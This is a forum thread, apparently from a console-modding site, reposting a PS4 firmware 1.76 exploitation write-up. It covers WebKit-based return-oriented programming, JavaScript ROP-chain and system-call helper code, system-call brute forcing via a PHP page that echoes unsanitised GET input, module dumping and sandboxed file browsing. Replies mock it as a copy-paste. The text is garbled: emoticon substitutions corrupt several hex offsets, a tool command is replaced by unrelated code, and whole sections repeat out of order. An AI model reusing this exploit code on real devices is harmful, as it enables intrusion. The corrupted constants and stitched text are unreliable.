  • WebProcess.self
    libkernel.sprx
    libSceLibcInternal.sprx
    libSceSysmodule.sprx
    libSceNet.sprx
    libSceNetCtl.sprx
    libSceIpmi.sprx
    libSceMbus.sprx
    libSceRegMgr.sprx
    libSceRtc.sprx
    libScePad.sprx
    libSceVideoOut.sprx
    libScePigletv2VSH.sprx
    libSceOrbisCompat.sprx
    libSceWebKit2.sprx
    libSceSysCore.sprx
    libSceSsl.sprx
    libSceVideoCoreServerInterface.sprx
    libSceSystemService.sprx
    libSceCompositeExt.sprx


Although the PS4 predominantly uses the [Signed] PPU Relocatable Executable ([S]PRX) format for modules, some string references to [Signed] Executable and Linking Format ([S]ELF) object files can also be found in the libSceSysmodule.sprx dump, such as bdj.elf, web_core.elf and orbis-jsc-compiler.self. This combination of modules and objects is similar to what is used in the PSP and PS3.

You can view a complete list of all modules available (not just those loaded by the browser) in libSceSysmodule.sprx. We can load and dump some of these through several of Sony's custom system calls, which will be explained later in this article.

JuSt-ROP


Using JavaScript to write and execute dynamic ROP chains gives us a tremendous advantage over a standard buffer overflow attack.

As well as bypassing ASLR, we can also read the user agent of the browser, and provide a different ROP chain for different browser versions, giving our exploit the highest compatibility possible.

We can even use JavaScript to read the memory at our gadgets' addresses to check that they are correct, giving us almost perfect reliability.

Writing ROP chains dynamically, rather than generating them with a script beforehand, just makes sense.


JavaScript caveats


JavaScript represents numbers using the IEEE-754 double-precision (64bit) format. This provides us with 53bit precision, meaning that it isn't possible to represent every 64bit value, approximations will have to be used for some.

If you just need to set a 64bit value to something low, like 256, then setU64to will be fine.

But for situations in which you need to write a buffer or struct of data, there is the possibility that certain bytes will be written incorrectly if it has been written in 64bit chunks.

Instead, you should write data in 32bit chunks (remembering that the PS4 is little endian), to ensure that every byte is exact.

System calls


Interestingly, the PS4 uses the same calling convention as Linux and MS-DOS for system calls, with arguments stored in registers, rather than the traditional UNIX way (which FreeBSD uses by default), with arguments stored in the stack:

rax - System call number
rdi - Argument 1
rsi - Argument 2
rdx - Argument 3
r10 - Argument 4
r8 - Argument 5
r9 - Argument 6

We can try to perform any system call with the following JuSt-ROP method:

    this.syscall = function(name, systemCallNumber, arg1, arg2, arg3, arg4, arg5, arg6) {
console.log("syscall " + name);

this.add("pop rax", systemCallNumber);
if(typeof(arg1) !== "undefined") this.add("pop rdi", arg1);
if(typeof(arg2) !== "undefined") this.add("pop rsi", arg2);
if(typeof(arg3) !== "undefined") this.add("pop rdx", arg3);
if(typeof(arg4) !== "undefined") this.add("pop rcx", arg4);
if(typeof(arg5) !== "undefined") this.add("pop r8", arg5);
if(typeof(arg6) !== "undefined") this.add("pop r9", arg6);
this.add("mov r10, rcx; syscall");
}


Just make sure to set the stack base to some free memory beforehand:

    this.add("pop rbp", stackBase + returnAddress + 0x1400);


Using system calls can tell us a huge amount about the PS4 kernel. Not only that, but using system calls is most likely the only way that we can interact with the kernel, and thus potentially trigger a kernel exploit.

If you are reverse engineering modules to identify some of Sony's custom system calls, you may come across an alternative calling convention:

Sometimes Sony performs system calls through regular system call 0 (which usually does nothing in FreeBSD), with the first argument (rdi) controlling which system call should be executed:

rax - 0
rdi - System call number
rsi - Argument 1
rdx - Argument 2
r10 - Argument 3
r8 - Argument 4
r9 - Argument 5

It is likely that Sony did this to have easy compatibility with the function calling convention. For example:

    .global syscall
syscall:
xor rax, rax
mov r10, rcx
syscall
ret


Using this, they can perform system calls from C using the function calling convention:

    int syscall();

int getpid(void) {
return syscall(20);
}


When writing ROP chains, we can use either convention:

    // Both will get the current process ISad Awesome
chain.syscall("getpid", 20);
chain.syscall("getpid", 0, 20);


It's good to be aware of this, because we can use whichever one is more convenient for the gadgets that are available.

getpid


Just by using system call 20, getpid(void), we can learn a lot about the kernel.

The very fact that this system call works at all tells us that Sony didn't bother mixing up the system call numbers as a means of security through obscurity (under the BSD license they could have done this without releasing the new system call numbers).

So, we automatically have a list of system calls in the PS4 kernel to try.

Secondly, by calling getpid(), restarting the browser, and calling it again, we get a return value 2 higher than the previous value.

This tells us that the Internet Browser app actually consists of 2 separate processes: the WebKit core (which we take over), that handles parsing HTML and CSS, decoding images, and executing JavaScript for example, and another one to handle everything else: displaying graphics, receiving controller input, managing history and bookmarks, etc.

Also, although FreeBSD has supported PID randomisation since 4.0, sequential PID allocation is the default behaviour.

The fact that PID allocation is set to the default behaviour indicates that Sony likely didn't bother adding any additional security enhancements such as those encouraged by projects like HardenedBSD.

How many custom system calls are there?


The last standard FreeBSD 9 system call is wait6, number 532; anything higher than this must be a custom Sony system call.

Invoking most of Sony's custom system calls without the correct arguments will return error 0x16, "Invalid argument"; however, any compatibility or unimplemented system calls will report the "There is not enough free system memory" error.

Through trial and error, I have found that system call number 617 is the last Sony system call, anything higher is unimplemented.

From this, we can conclude that there are 85 custom Sony system calls in the PS4's kernel (617 - 532).

This is significantly less than the PS3, which had almost 1000 system calls in total. This indicates that we have fewer possible attack vectors, but that it may be easier to document all of the system calls.

Furthermore, 9 of these 85 system calls always return 0x4e, ENOSYS, which suggests that they may only be callable from development units, leaving us with just 76 which are usable.

Of these 76, only 45 are referenced by libkernel.sprx (which all non-core applications use to perform system calls), so developers only have 45 custom system calls which they can use.

Interestingly, although only 45 are intended to be called (because libkernel.sprx has wrappers for them), some of the other 31 are still callable from the Internet Browser process. It is more likely for these unintended system calls to have vulnerabilities in them, since they have probably had the least amount of testing.

libkernel.sprx


To identify how custom system calls are used by libkernel, you must first remember that it is just a modification of the standard FreeBSD 9.0 libraries.

Here's an extract of _libpthread_init from thr_init.c:

    /*
* Check for the special case of this process running as
* or in place of init as pid = 1:
*/
if ((_thr_pid = getpid()) == 1) {
/*
* Setup a new session for this process which is
* assumed to be running as root.
*/
if (setsid() == -1)
PANIC("Can't set session ID");
if (revoke(_PATH_CONSOLE) != 0)
PANIC("Can't revoke console");
if ((fd = __sys_open(_PATH_CONSOLE, O_RDWR)) < 0)
PANIC("Can't open console");
if (setlogin("root") == -1)
PANIC("Can't set login to root");
if (_ioctl(fd, TIOCSCTTY, (char *) NULL) == -1)
PANIC("Can't set controlling terminal");
}


The same function can be found at offset 0x215F0 from libkernel.sprx. This is how the above extract looks from within a libkernel dump:

    call    getpid
mov cs:dword_5B638, eax
cmp eax, 1
jnz short loc_2169F

call setsid
cmp eax, 0FFFFFFFFh
jz loc_21A0C

lea rdi, aDevConsole ; "/dev/console"
call revoke
test eax, eax
jnz loc_21A24

lea rdi, aDevConsole ; "/dev/console"
mov esi, 2
xor al, al
call open

mov r14d, eax
test r14d, r14d
js loc_21A3C
lea rdi, aRoot ; "root"
call setlogin
cmp eax, 0FFFFFFFFh
jz loc_21A54

mov edi, r14d
mov esi, 20007461h
xor edx, edx
xor al, al
call ioctl
cmp eax, 0FFFFFFFFh
jz loc_21A6C


Reversing module dumps to analyse system calls


libkernel isn't completely open source though; there's also a lot of custom code which can help disclose some of Sony's system calls.

Although this process will vary depending on the system call you are looking up; for some, it is fairly easy to get a basic understanding of the arguments that are passed to it.

The system call wrapper will be declared somewhere in libkernel.sprx, and will almost always follow this template:

    000000000000DB70 syscall_601     proc near
000000000000DB70 mov rax, 259h
000000000000DB77 mov r10, rcx
000000000000DB7A syscall
000000000000DB7C jb short error
000000000000DB7E retn
000000000000DB7F
000000000000DB7F error:
000000000000DB7F lea rcx, sub_DF60
000000000000DB86 jmp rcx
000000000000DB86 syscall_601 endp


Note that the mov r10, rcx instruction doesn't necessarily mean that the system call takes at least 4 arguments; all system call wrappers have it, even those that take no arguments, such as getpid.

Once you've found the wrapper, you can look up xrefs to it:

    0000000000011D50                 mov     edi, 10h
0000000000011D55 xor esi, esi
0000000000011D57 mov edx, 1
0000000000011D5C call syscall_601
0000000000011D61 test eax, eax
0000000000011D63 jz short loc_11D6A

It's good to look up several of these, just to make sure that the registers weren't modified for something unrelated:

    0000000000011A28                 mov     edi, 9
0000000000011A2D xor esi, esi
0000000000011A2F xor edx, edx
0000000000011A31 call syscall_601
0000000000011A36 test eax, eax
0000000000011A38 jz short loc_11A3F

Consistently, the first three registers of the system call convention (rdi, rsi, and rdx) are modified before invoking the call, so we can conclude with reasonable confidence that it takes 3 arguments.

For clarity, this is how we would replicate the calls in JuSt-ROP:

    chain.syscall("unknown", 601, 0x10, 0, 1);
chain.syscall("unknown", 601, 9, 0, 0);

As with most system calls, it will return 0 on success, as seen by the jz conditional after testing the return value.

Looking up anything beyond than the amount of arguments will require a much more in-depth analysis of the code before and after the call to understand the context, but this should help you get started.

Brute forcing system calls


Although reverse engineering module dumps is the most reliable way to identify system calls, some aren't referenced at all in the dumps we have so we will need to analyse them blindly.

If we guess that a certain system call might take a particular set of arguments, we can brute force all system calls which return a certain value (0 for success) with the arguments that we chose, and ignore all which returned an error.

We can also pass 0s for all arguments, and brute force all system calls which return useful errors such as 0xe, "Bad address", which would indicate that they take at least one pointer.

Firstly, we will need to execute the ROP chain as soon as the page loads. We can do this by attaching our function to the body element's

    onload:

<body onload="exploit()">


Next we will need to perform a specific system call depending on an HTTP GET value. Although this can be done with JavaScript, I will demonstrate how to do this using PHP for simplicity:

    var Sony = 533;
chain.syscall("Sony system call", Sony + <?php print($_GET["b"]); ?>, 0, 0, 0, 0, 0, 0);
chain.write_rax_ToVariable(0);


Once the system call has executed, we can check the return value, and if it isn't interesting, redirect the page to the next system call:

    if(chain.getVariable(0) == 0x16) window.location.assign("index.php?b=" + (<?php print($_GET["b"]); ?> + 1).toString());


Running the page with ?b=0 appended to the end will start the brute force from the first Sony system call.

Although this method requires a lot of experimentation, by passing different values to some of the system calls found by brute forcing and analysing the new return values, there are a few system calls which you should be able to partially identify.

System call 538


As an example, I'll take a look at system call 538, without relying on any module dumps.

These are the return values depending on what is passed as the first argument:

    0 - 0x16, "Invalid argument"
1 - 0xe, "Bad address"
Pointer to 0s - 0x64 initially, but each time the page is refreshed this value increases by 1


Other potential arguments to try would be PID, thread ID, and file descriptor.

Although most system calls will return 0 on success, due to the nature of the return value increasing after each time it is called, it seems like it is allocating a resource number, such as a file descriptor.

The next thing to do would be to look at the data before and after performing the system call, to see if it has been written to.

Since there is no change in the data, we can assume that it is an input for now.

I then tried passing a long string as the first argument. You should always try this with every input you find because there is the possibility of discovering a buffer overflow.

    writeString(chain.data, "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa");
chain.syscall("unknown", 538, chain.data, 0, 0, 0, 0, 0);


The return value for this is 0x3f, ENAMETOOLONG. Unfortunately it seems that this system call correctly limits the name (32 bytes including NULL truncator), but it does tell us that it is expecting a string, rather than a struct.

We now have a few possibilities for what this system call is doing, the most obvious being something related to the filesystem (such as a custom mkdir or open), but this doesn't seem particularly likely seeing as a resource was allocated even before we wrote any data to the pointer.

To test whether the first parameter is a path, we can break it up with multiple / characters to see if this allows for a longer string:

    writeString(chain.data, "aaaaaaaaaa/aaaaaaaaaa/aaaaaaaaaa");
chain.syscall("unknown", 538, chain.data, 0, 0, 0, 0, 0);


Since this also returns 0x3f, we can assume that the first argument isn't a path; it is a name for something that gets allocated a sequential identifier.

After analysing some more system calls, I found that the following all shared this exact same behaviour:

533
538
557
574
580

From the information that we have so far, it is almost impossible to pinpoint exactly what these system calls do, but as you run more tests, further information will slowly be revealed.

To save you some time, system call 538 is allocating an event flag (and it doesn't just take a name).

Using general knowledge of how a kernel works, you can guess, and then verify, what the system calls are allocating (semaphores, mutexes, etc).

Dumping additional modules


We can dump additional modules by following these stages:

Load the module
Get the module's base address
Dump the module
I tediously tried loading and dumping every single module from within the Internet Browser manually, and posted the results on psdevwiki. All modules with Yes next to them can be dumped with this method.

To load a module we will need to use the sceSysmoduleLoadModule function from libSceSysmodule.sprx + 0x1850. The first parameter is the module ID to load, and the other 3 should just be passed 0.

The following JuSt-ROP method can be used to perform a function call:

    this.call = function(name, module, address, arg1, arg2, arg3, arg4, arg5, arg6) {
console.log("call " + name);

if(typeof(arg1) !== "undefined") this.add("pop rdi", arg1);
if(typeof(arg2) !== "undefined") this.add("pop rsi", arg2);
if(typeof(arg3) !== "undefined") this.add("pop rdx", arg3);
if(typeof(arg4) !== "undefined") this.add("pop rcx", arg4);
if(typeof(arg5) !== "undefined") this.add("pop r8", arg5);
if(typeof(arg6) !== "undefined") this.add("pop r9", arg6);
this.add(module_bases[module] + address);
}


So, to load libSceAvSetting.sprx (0xb):

    chain.call("sceSysmoduleLoadModule", libSysmodule, 0x1850, 0xb, 0, 0, 0);


Like most system calls, this should return 0 on success. To see the loaded module ID that was allocated, we can use one of Sony's custom system calls, number 592, to get a list of currently loaded modules:

    var countAddress = chain.data;
var modulesAddress = chain.data + 8;

// System call 592, getLoadedModules(int *destinationModuleIDs, int max, int *count);
chain.syscall("getLoadedModules", 592, modulesAddress, 256, countAddress);

chain.execute(function() {
var count = getU64from(countAddress);
for(var index = 0; index < count; index++) {
logAdd("Module: 0x" + getU32from(modulesAddress + index * 4).toString(16));
}
});


Running this without loading any additional modules will produce the following list:

    0x0, 0x1, 0x2, 0xc, 0xe, 0xf, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19, 0x1a, 0x1b, 0x1e, 0x37, 0x59


But if we run it after loading module 0xb, we seen an additional entry, 0x65. Remember that module ID is not the same as loaded module ID.

We can now use another of Sony's custom system calls, number 593, which takes a loaded module ID and a buffer, and fills the buffer with information about the loaded module, including its base address. Since the loaded module ID is always 0x65, we can hardcode it into our chain, rather than having to store the result from the module list.

The buffer must start with the size of the struct that should be returned, otherwise error0x16 will be returned, "Invalid argument":

    setU64to(moduleInfoAddress, 0x160);
chain.syscall("getModuleInfo", 593, 0x65, moduleInfoAddress);

chain.execute(function() {
logAdd(hexDump(moduleInfoAddress, 0x160));
});


It will return 0 upon success, and fill the buffer with a struct which can be read like so:

    var name = readString(moduleInfoAddress + 0xCool Man (aka Tustin);
var codeBase = getU64from(moduleInfoAddress + 0x10Cool Man (aka Tustin);
var codeSize = getU32from(moduleInfoAddress + 0x110);
var dataBase = getU64from(moduleInfoAddress + 0x11Cool Man (aka Tustin);
var dataSize = getU32from(moduleInfoAddress + 0x120);


We now have everything we need to dump the module!

    dump(codeBase, codeSize + dataSize);


There is another Sony system call, number 608, which works in a similar way to 593, but provides slightly different information about the loaded module:

    setU64to(moduleInfoAddress, 0x1aCool Man (aka Tustin);
chain.syscall("getDifferentModuleInfo", 608, 0x65, 0, moduleInfoAddress);
logAdd(hexDump(moduleInfoAddress, 0x1aCool Man (aka Tustin));

It's not clear what this information is.

Browsing the filesystem


The PS4 uses the standard FreeBSD 9.0 system calls for reading files and directories.

However, whilst using read for some directories such as /dev/ will work, others, such as / will fail.

I'm not sure why this is, but if we use gendents instead of read for directories, it will work much more reliably:

    writeString(chain.data, "/dev/");
chain.syscall("open", 5, chain.data, 0, 0);
chain.write_rax_ToVariable(0);

chain.read_rdi_FromVariable(0);
chain.syscall("getdents", 272, undefined, chain.data + 0x10, 102Cool Man (aka Tustin);


This is the resultant memory:

    0000010: 0700 0000 1000 0205 6469 7073 7700 0000  ........dipsw...
0000020: 0800 0000 1000 0204 6e75 6c6c 0000 0000 ........null....
0000030: 0900 0000 1000 0204 7a65 726f 0000 0000 ........zero....
0000040: 0301 0000 0c00 0402 6664 0000 0b00 0000 ........fd......
0000050: 1000 0a05 7374 6469 6e00 0000 0d00 0000 ....stdin.......
0000060: 1000 0a06 7374 646f 7574 0000 0f00 0000 ....stdout......
0000070: 1000 0a06 7374 6465 7272 0000 1000 0000 ....stderr......
0000080: 1000 0205 646d 656d 3000 0000 1100 0000 ....dmem0.......
0000090: 1000 0205 646d 656d 3100 0000 1300 0000 ....dmem1.......
00000a0: 1000 0206 7261 6e64 6f6d 0000 1400 0000 ....random......
00000b0: 1000 0a07 7572 616e 646f 6d00 1600 0000 ....urandom.....
00000c0: 1400 020b 6465 6369 5f73 7464 6f75 7400 ....deci_stdout.
00000d0: 1700 0000 1400 020b 6465 6369 5f73 7464 ........deci_std
00000e0: 6572 7200 1800 0000 1400 0209 6465 6369 err.........deci
00000f0: 5f74 7479 3200 0000 1900 0000 1400 0209 _tty2...........
0000100: 6465 6369 5f74 7479 3300 0000 1a00 0000 deci_tty3.......
0000110: 1400 0209 6465 6369 5f74 7479 3400 0000 ....deci_tty4...
0000120: 1b00 0000 1400 0209 6465 6369 5f74 7479 ........deci_tty
0000130: 3500 0000 1c00 0000 1400 0209 6465 6369 5...........deci
0000140: 5f74 7479 3600 0000 1d00 0000 1400 0209 _tty6...........
0000150: 6465 6369 5f74 7479 3700 0000 1e00 0000 deci_tty7.......
0000160: 1400 020a 6465 6369 5f74 7479 6130 0000 ....deci_ttya0..
0000170: 1f00 0000 1400 020a 6465 6369 5f74 7479 ........deci_tty
0000180: 6230 0000 2000 0000 1400 020a 6465 6369 b0.. .......deci
0000190: 5f74 7479 6330 0000 2200 0000 1400 020a _ttyc0..".......
00001a0: 6465 6369 5f73 7464 696e 0000 2300 0000 deci_stdin..#...
00001b0: 0c00 0203 6270 6600 2400 0000 1000 0a04 ....bpf.$.......
00001c0: 6270 6630 0000 0000 2900 0000 0c00 0203 bpf0....).......
00001d0: 6869 6400 2c00 0000 1400 0208 7363 655f hid.,.......sce_
00001e0: 7a6c 6962 0000 0000 2e00 0000 1000 0204 zlib............
00001f0: 6374 7479 0000 0000 3400 0000 0c00 0202 ctty....4.......
0000200: 6763 0000 3900 0000 0c00 0203 6463 6500 gc..9.......dce.
0000210: 3a00 0000 1000 0205 6462 6767 6300 0000 :.......dbggc...
0000220: 3e00 0000 0c00 0203 616a 6d00 4100 0000 >.......ajm.A...
0000230: 0c00 0203 7576 6400 4200 0000 0c00 0203 ....uvd.B.......
0000240: 7663 6500 4500 0000 1800 020d 6e6f 7469 vce.E.......noti
0000250: 6669 6361 7469 6f6e 3000 0000 4600 0000 fication0...F...
0000260: 1800 020d 6e6f 7469 6669 6361 7469 6f6e ....notification
0000270: 3100 0000 5000 0000 1000 0206 7573 6263 1...P.......usbc
0000280: 746c 0000 5600 0000 1000 0206 6361 6d65 tl..V.......came
0000290: 7261 0000 8500 0000 0c00 0203 726e 6700 ra..........rng.
00002a0: 0701 0000 0c00 0403 7573 6200 c900 0000 ........usb.....
00002b0: 1000 0a07 7567 656e 302e 3400 0000 0000 ....ugen0.4.....
00002c0: 0000 0000 0000 0000 0000 0000 0000 0000 ................


You can read some of these devices, for example: reading /dev/urandom will fill the memory with random data.

It is also possible to parse this memory to create a clean list of entries; look at browser.html in the repository for a complete

file browser:

You must login or register to view this content.


Unfortunately, due to sandboxing we don't have complete access to the file system. Trying to read files and directories that do exist but are restricted will give you error 2, ENOENT, "No such file or directory".

We do have access to a lot of interesting stuff though including encrypted save data, trophies, and account information.

Credits
CTURT
flatz
SKFU
droogie
Xerpi
bigboss
Hunger
Takezo
Proxima

I hope this has cleared some things up.


Nice copy and paste
10-05-2015, 06:51 PM #3
Originally posted by EyeX32 View Post
Nice copy and paste


I know hence why I added credits I cant link the blog as some of what cturt posts can be linked with warez
10-05-2015, 06:57 PM #4
Joel
[move]Sal:madsal::laim:[/move]
Originally posted by EyeX32 View Post
Nice copy and paste


just let him imagine he's 1337.
10-05-2015, 07:14 PM #5
Originally posted by xMoDzLiKe View Post
I know hence why I added credits I cant link the blog as some of what cturt posts can be linked with warez


It would be nice if you can add the source.
Also this exploit won't bring anything nice to the table, time will tell.
10-05-2015, 09:27 PM #6
Right
Can’t trickshot me!
Originally posted by xMoDzLiKe View Post
WebKit Entry Point


WebKit is the open source layout engine which renders web pages in the browsers for iOS, Wii U, 3DS, PS Vita, and the PS4.

Although so widely used and mature, WebKit does have its share of vulnerabilities; you can learn about most of them by reading Pwn2Own write-ups.

In particular, the browser in PS4 firmware 1.76 uses a version of WebKit which is vulnerable to CVE-2012-3748, a heap-based buffer overflow in the JSArray::sort(...) method.

In 2014, nas and Proxima announced that they had successfully been able to port this exploit to the PS4's browser, and released the PoC code publicly as the first entry point into hacking the PS4.

This gives us arbitrary read and write access to everything the WebKit process can read and write to, which can be used to dump modules, and overwrite return addresses on the stack, letting us control the Program Counter (for ROP).

Since then, many other vulnerabilities have been found in WebKit, which could probably allow for module dumping and ROP on later firmwares of the PS4, but as of writing, no one has ported any of these exploits to the PS4 publicly.

What is ROP?


Unlike in primitive devices like the DS, the PS4 has a kernel which controls the properties of different areas of memory. Pages of memory which are marked as executable cannot be overwritten, and pages of memory which are marked as writable cannot be executed; this is known as Data Execution Prevention (DEP).

This means that we can't just copy a payload into memory and execute it. However, we can execute code that is already loaded into memory and marked as executable.

It wouldn't be very useful to jump to a single address if we can't write our own code to that address, so we use ROP.

Return-Oriented Programming (ROP) is just an extension to traditional stack smashing, but instead of overwriting only a single value which the PC will jump to, we can chain together many different addresses, known as gadgets.

A gadget is usually just a single desired instruction followed by a ret.

In x86_64 assembly, when a ret instruction is reached, a 64bit value is popped off the stack and the PC jumps to it; since we can control the stack, we can make every ret instruction jump to the next desired gadget.

For example, from 0x80000 may contains instructions:

    mov rax, 0
ret



And from 0x90000 may contain instructions:

    mov rbx, 0
ret


If we overwrite a return address on the stack to contain 0x80000 followed by 0x90000, then as soon as the first ret instruction is reached execution will jump to mov rax, 0, and immediately afterwards, the next ret instruction will pop 0x90000 off the stack and jump to mov rbx, 0.

Effectively this chain will set both rax and rbx to 0, just as if we had written the code into a single location and executed it from there.

ROP chains aren't just limited to a list of addresses though; assuming that from 0xa0000 contains these instructions:

    pop rax
ret


We can set the first item in the chain to 0xa0000 and the next item to any desired value for rax.

Gadgets also don't have to end in a ret instruction; we can use gadgets ending in a jmp:

    add rax, 8
jmp rcx


By making the rcx point to a ret instruction, the chain will continue as normal:

    chain.add("pop rcx", "ret");
chain.add("add rax, 8; jmp rcx");


Sometimes you won't be able to find the exact gadget that you need on its own, but with other instructions after it. For example, if you want to set r8 to something, but only have this gadget, you will have to set r9 to some dummy value:

    pop r8
pop r9
ret


Although you may have to be creative with how you write ROP chains, it is generally accepted that within a sufficiently large enough code dump, there will be enough gadgets for Turing-complete functionality; this makes ROP a viable method of bypassing DEP.

Finding gadgets


Think of ROP as writing a new chapter to a book, using only words that have appeared at the end of sentences in the previous chapters.

It's obvious from the structure of most sentences that we probably won't be able to find words like 'and' or 'but' appearing at the end of any sentences, but we will need these connectives in order to write anything meaningful.

It is quite possible however, that a sentence has ended with 'sand'. Although the author only ever intended for the word to be read from the 's', if we start reading from the 'a', it will appear as an entirely different word by coincidence, 'and'.

These principles also apply to ROP.

Since the structure of almost all functions follows something like this:

    ; Save registers
push rbp
mov rbp, rsp
push r15
push r14
push r13
push r12
push rbx
sub rsp, 18h

; Function body

; Restore registers
add rsp, 18h
pop rbx
pop r12
pop r13
pop r14
pop r15
pop rbp
ret


You'd expect to only be able to find pop gadgets, or more rarely, something like xor rax, rax to set the return value to 0 before returning.

Having a comparison like:

    cmp [rax], r12
ret


Wouldn't make any sense since the result of the comparison isn't used by the function. However, there is still a possibility that we can find gadgets like these.

x86_64 instructions are similar to words in that they variable lengths, and can mean something entirely different depending on where decoding starts.



To demonstrate this, take a look at the end of this function from the WebKit module:

    000000000052BE0D                 mov     eax, [rdx+8]
000000000052BE10 mov [rsi+10h], eax
000000000052BE13 or byte ptr [rsi+39h], 20h
000000000052BE17 ret


Now take a look at what the code looks like if we start decoding from 0x52be14:

    000000000052BE14                 cmp     [rax], r12
000000000052BE17 ret


Even though this code was never intended to be executed, it is within an area of memory which has been marked as executable, so it is perfectly valid to use as a gadget.

Of course, it would be incredibily time consuming to look at every possible way of interpreting code before every single ret instruction manually; and that's why tools exist to do this for you. The one which I use to search for ROP gadgets is rp++; to generate a text file filled with gadgets, just use:

    setU8to(chain.data + 0, 0xeb);
setU8to(chain.data + 1, 0xfe);

chain.add(chain.data);


And trying to write to code, which is mapped as read and execute only:

    setU8to(moduleBases[webkit], 0);


If a segmentation fault occurs, a message saying "There is not enough free system memory" will appear, and the page will fail to load:

You must login or register to view this content.


There are other possible reasons for this message to be displayed, such as executing an invalid instruction or an unimplemented system call, but a segmentation fault is the most common.

ASLR


Address Space Layout Randomization (ASLR) is a security technique which causes the base addresses of modules to be different every time you start the PS4.

It has been reported to me that very old firmwares (1.05) don't have ASLR enabled, but it was introduced sometime before firmware 1.70. Note that kernel ASLR is not enabled (for firmwares 1.76 and lower at least), which will be proved later in the article.

For most exploits ASLR would be a problem because if you don't know the addresses of the gadgets in memory, you would have no idea what to write to the stack.

Luckily for us, we aren't limited to just writing static ROP chains. We can use JavaScript to read the modules table, which will tell us the base addresses of all loaded modules. Using these bases, we can then calculate the addresses of all our gadgets before we trigger ROP execution, bypassing ASLR.

The modules table also includes the filenames of the modules:


  • WebProcess.self
    libkernel.sprx
    libSceLibcInternal.sprx
    libSceSysmodule.sprx
    libSceNet.sprx
    libSceNetCtl.sprx
    libSceIpmi.sprx
    libSceMbus.sprx
    libSceRegMgr.sprx
    libSceRtc.sprx
    libScePad.sprx
    libSceVideoOut.sprx
    libScePigletv2VSH.sprx
    libSceOrbisCompat.sprx
    libSceWebKit2.sprx
    libSceSysCore.sprx
    libSceSsl.sprx
    libSceVideoCoreServerInterface.sprx
    libSceSystemService.sprx
    libSceCompositeExt.sprx


Although the PS4 predominantly uses the [Signed] PPU Relocatable Executable ([S]PRX) format for modules, some string references to [Signed] Executable and Linking Format ([S]ELF) object files can also be found in the libSceSysmodule.sprx dump, such as bdj.elf, web_core.elf and orbis-jsc-compiler.self. This combination of modules and objects is similar to what is used in the PSP and PS3.

You can view a complete list of all modules available (not just those loaded by the browser) in libSceSysmodule.sprx. We can load and dump some of these through several of Sony's custom system calls, which will be explained later in this article.

JuSt-ROP


Using JavaScript to write and execute dynamic ROP chains gives us a tremendous advantage over a standard buffer overflow attack.

As well as bypassing ASLR, we can also read the user agent of the browser, and provide a different ROP chain for different browser versions, giving our exploit the highest compatibility possible.

We can even use JavaScript to read the memory at our gadgets' addresses to check that they are correct, giving us almost perfect reliability.

Writing ROP chains dynamically, rather than generating them with a script beforehand, just makes sense.


JavaScript caveats


JavaScript represents numbers using the IEEE-754 double-precision (64bit) format. This provides us with 53bit precision, meaning that it isn't possible to represent every 64bit value, approximations will have to be used for some.

If you just need to set a 64bit value to something low, like 256, then setU64to will be fine.

But for situations in which you need to write a buffer or struct of data, there is the possibility that certain bytes will be written incorrectly if it has been written in 64bit chunks.

Instead, you should write data in 32bit chunks (remembering that the PS4 is little endian), to ensure that every byte is exact.

System calls


Interestingly, the PS4 uses the same calling convention as Linux and MS-DOS for system calls, with arguments stored in registers, rather than the traditional UNIX way (which FreeBSD uses by default), with arguments stored in the stack:

rax - System call number
rdi - Argument 1
rsi - Argument 2
rdx - Argument 3
r10 - Argument 4
r8 - Argument 5
r9 - Argument 6

We can try to perform any system call with the following JuSt-ROP method:

    this.syscall = function(name, systemCallNumber, arg1, arg2, arg3, arg4, arg5, arg6) {
console.log("syscall " + name);

this.add("pop rax", systemCallNumber);
if(typeof(arg1) !== "undefined") this.add("pop rdi", arg1);
if(typeof(arg2) !== "undefined") this.add("pop rsi", arg2);
if(typeof(arg3) !== "undefined") this.add("pop rdx", arg3);
if(typeof(arg4) !== "undefined") this.add("pop rcx", arg4);
if(typeof(arg5) !== "undefined") this.add("pop r8", arg5);
if(typeof(arg6) !== "undefined") this.add("pop r9", arg6);
this.add("mov r10, rcx; syscall");
}


Just make sure to set the stack base to some free memory beforehand:

    this.add("pop rbp", stackBase + returnAddress + 0x1400);


Using system calls can tell us a huge amount about the PS4 kernel. Not only that, but using system calls is most likely the only way that we can interact with the kernel, and thus potentially trigger a kernel exploit.

If you are reverse engineering modules to identify some of Sony's custom system calls, you may come across an alternative calling convention:

Sometimes Sony performs system calls through regular system call 0 (which usually does nothing in FreeBSD), with the first argument (rdi) controlling which system call should be executed:

rax - 0
rdi - System call number
rsi - Argument 1
rdx - Argument 2
r10 - Argument 3
r8 - Argument 4
r9 - Argument 5

It is likely that Sony did this to have easy compatibility with the function calling convention. For example:

    .global syscall
syscall:
xor rax, rax
mov r10, rcx
syscall
ret


Using this, they can perform system calls from C using the function calling convention:

    int syscall();

int getpid(void) {
return syscall(20);
}


When writing ROP chains, we can use either convention:

    // Both will get the current process ISad Awesome
chain.syscall("getpid", 20);
chain.syscall("getpid", 0, 20);


It's good to be aware of this, because we can use whichever one is more convenient for the gadgets that are available.

getpid


Just by using system call 20, getpid(void), we can learn a lot about the kernel.

The very fact that this system call works at all tells us that Sony didn't bother mixing up the system call numbers as a means of security through obscurity (under the BSD license they could have done this without releasing the new system call numbers).

So, we automatically have a list of system calls in the PS4 kernel to try.

Secondly, by calling getpid(), restarting the browser, and calling it again, we get a return value 2 higher than the previous value.

This tells us that the Internet Browser app actually consists of 2 separate processes: the WebKit core (which we take over), that handles parsing HTML and CSS, decoding images, and executing JavaScript for example, and another one to handle everything else: displaying graphics, receiving controller input, managing history and bookmarks, etc.

Also, although FreeBSD has supported PID randomisation since 4.0, sequential PID allocation is the default behaviour.

The fact that PID allocation is set to the default behaviour indicates that Sony likely didn't bother adding any additional security enhancements such as those encouraged by projects like HardenedBSD.

How many custom system calls are there?


The last standard FreeBSD 9 system call is wait6, number 532; anything higher than this must be a custom Sony system call.

Invoking most of Sony's custom system calls without the correct arguments will return error 0x16, "Invalid argument"; however, any compatibility or unimplemented system calls will report the "There is not enough free system memory" error.

Through trial and error, I have found that system call number 617 is the last Sony system call, anything higher is unimplemented.

From this, we can conclude that there are 85 custom Sony system calls in the PS4's kernel (617 - 532).

This is significantly less than the PS3, which had almost 1000 system calls in total. This indicates that we have fewer possible attack vectors, but that it may be easier to document all of the system calls.

Furthermore, 9 of these 85 system calls always return 0x4e, ENOSYS, which suggests that they may only be callable from development units, leaving us with just 76 which are usable.

